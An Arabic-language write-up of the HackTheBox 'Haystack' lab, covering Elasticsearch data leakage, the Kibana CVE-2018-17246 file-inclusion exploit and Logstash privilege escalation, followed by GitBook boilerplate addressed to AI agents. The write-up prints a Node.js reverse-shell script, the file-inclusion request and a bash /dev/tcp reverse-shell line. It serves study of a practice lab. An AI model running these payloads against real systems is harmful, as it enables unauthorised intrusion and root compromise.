> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # شرح Haystack HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات**: * استطلاع ElasticSearch * تسرب المعلومات * استطلاع Kibana * استغلال Kibana (CVE-2018-17246) * استغلال Logstash (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (9200)

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

## تحليل الخدمات المكشوفة ### المنفذ 80 - تسريب معلومات **استخراج البيانات الوصفية باستخدام ExifTool**

من خلال تحليل الصورة الموجودة على الخادم باستخدام `strings`، نكتشف سلسلة مشفرة بـ base64: `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

بعد فكّها، تكشف هذه السلسلة الرسالة التالية: *"الإبرة في كومة القش هي 'key'"*.

### Elasticsearch - تسريب معلومات #### المنفذ 9200 يستضيف إصدار ElasticSearch 6.4.2.

{% hint style="info" %} Elasticsearch هو محرك بحث وتحليلات في الوقت الفعلي يُستخدم لفهرسة كميات كبيرة من البيانات والبحث فيها بسرعة. وهو يندمج ضمن حزمة ELK لتوفير قدرات متقدمة لتصور البيانات وتحليلها. {% endhint %}

من خلال الوصول إلى `/_cat/indices?` الرابط، نحصل على قائمة بالفهارس مع معرّفات UUID الخاصة بها. لاستخراج محتوى فهرس، نستخدم الرابط التالي: `http://haystack.htb:9200//_search?pretty=true&size=1000`

**تصفية البيانات باستخدام Curl** باستخدام الفهرس `quotes` وعند التصفية باستخدام كلمة مفتاح التحدي، يتم العثور على معلومات ذات صلة: ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**فك ترميز السلاسل المشفرة بـ Base64** نحصل على سلسلتين مشفرتين بـ base64، وعند فك ترميزهما، تكشفان المعلومات التعريفية: ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**المستخدم:** `security`/ **كلمة المرور:** `spanish.is.key` ### اتصال SSH باستخدام بيانات الاعتماد المسترجعة، نتصل بالجهاز الهدف عبر SSH ونصل إلى المستخدم: ```bash ssh security@10.10.10.115 ```

### الراية user.txt :)

**بمجرد حصولك على وصول إلى خادم Linux، هذه هي الأوامر التي يجب تنفيذها لمعالجة الطرفية:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **سيسمح لك هذا بالعمل بكفاءة أكبر بكثير، وفوق ذلك، براحة أكبر.** ## تصعيد الامتيازات : ### Kibana (إعادة توجيه المنفذ) **الخطوة 1: تحديد المنافذ المفتوحة** أولًا، نلاحظ المنافذ المفتوحة داخليًا باستخدام الأمر التالي: ```bash netstat -nltp ``` نلاحظ أن المنفذ **5601** يلفت انتباهنا.

من خلال تنفيذ `curl` طلب على هذا المنفذ، نحصل على صفحة HTML من Kibana: {% hint style="info" %} **Kibana** هو برنامج جاهز للاستخدام لتصور البيانات ولوحات المعلومات الخاصة بـ Elasticsearch {% endhint %}

**الخطوة 2: إعادة توجيه المنفذ للوصول إلى Kibana** سنقوم بإعادة توجيه المنفذ الداخلي للخادم **5601** إلى جهازنا المحلي للوصول إليه عبر المتصفح. يمكن تنفيذ هذا التحويل عبر SSH بالأمر التالي: ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` هذا يعيد توجيه المنفذ المحلي 5601 في الجهاز الهدف إلى المنفذ 5601 في جهازنا، مما يتيح وصولًا مباشرًا

**الخطوة 3: التحقق من إصدار Kibana** من خلال الوصول إلى `http://localhost:5601/api/status`، نلاحظ رقم إصدار Kibana: **6.4.2**. هذا الإصدار عرضة لهجوم **تضمين الملفات المحلية (LFI)** ، والمُعرَّف باسم **CVE-2018-17246**.

### استغلال Kibana (CVE-2018-17246) {% embed url="" %} **الخطوة 4: استغلال الثغرة** لاستغلال هذه الثغرة، سننشئ ملف JavaScript للحصول على shell عكسي. في `/tmp` مجلد الجهاز الهدف، أنشئ ملفًا باسم `rev.js` بالكود التالي:

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // يمنع تعطل تطبيق Node.js
})();

سيُنشئ هذا السكربت اتصالًا مع جهازك على المنفذ **443** لفتح shell. **الخطوة 5: إعادة توجيه الدفق إلى ملف** ثم أعد توجيه الدفق إلى `/dev/shm/rev.js` الملف بالأمر التالي: ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **الخطوة 6: الاستماع على المنفذ من أجل shell عكسي** على جهازك، ابدأ مستمعًا على المنفذ **443** لالتقاط الغلاف العكسي: ```bash nc -nlvp 443 ``` بعد تسجيل الدخول، ستحصل على shell على الجهاز الهدف، مما يتيح تصعيد الامتيازات.

## استغلال Logstash نبحث عن جميع الملفات القابلة للوصول باستخدام المستخدم `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

من خلال الوصول إلى Logstash، نكتشف ثلاثة ملفات إعدادات: * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} باختصار، يشغّل Logstash مهمة cron تتحقق كل 10 ثوانٍ مما إذا كان هناك ملف باسم `logstash_*` موجودًا في `/opt/kibana/` الدليل. إذا تم العثور على ملف مطابق وكان يحتوي على أمر مع إدخال محدد، بالشكل: {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

لاستغلال هذه الثغرة، ننشئ ملفًا باسم `logstash_exec` في `/opt/kibana/` الدليل بالمحتوى التالي: ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` بعد ذلك، نستمع على المنفذ 4444، ونحصل على صلاحيات root.

### فلاغ الجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.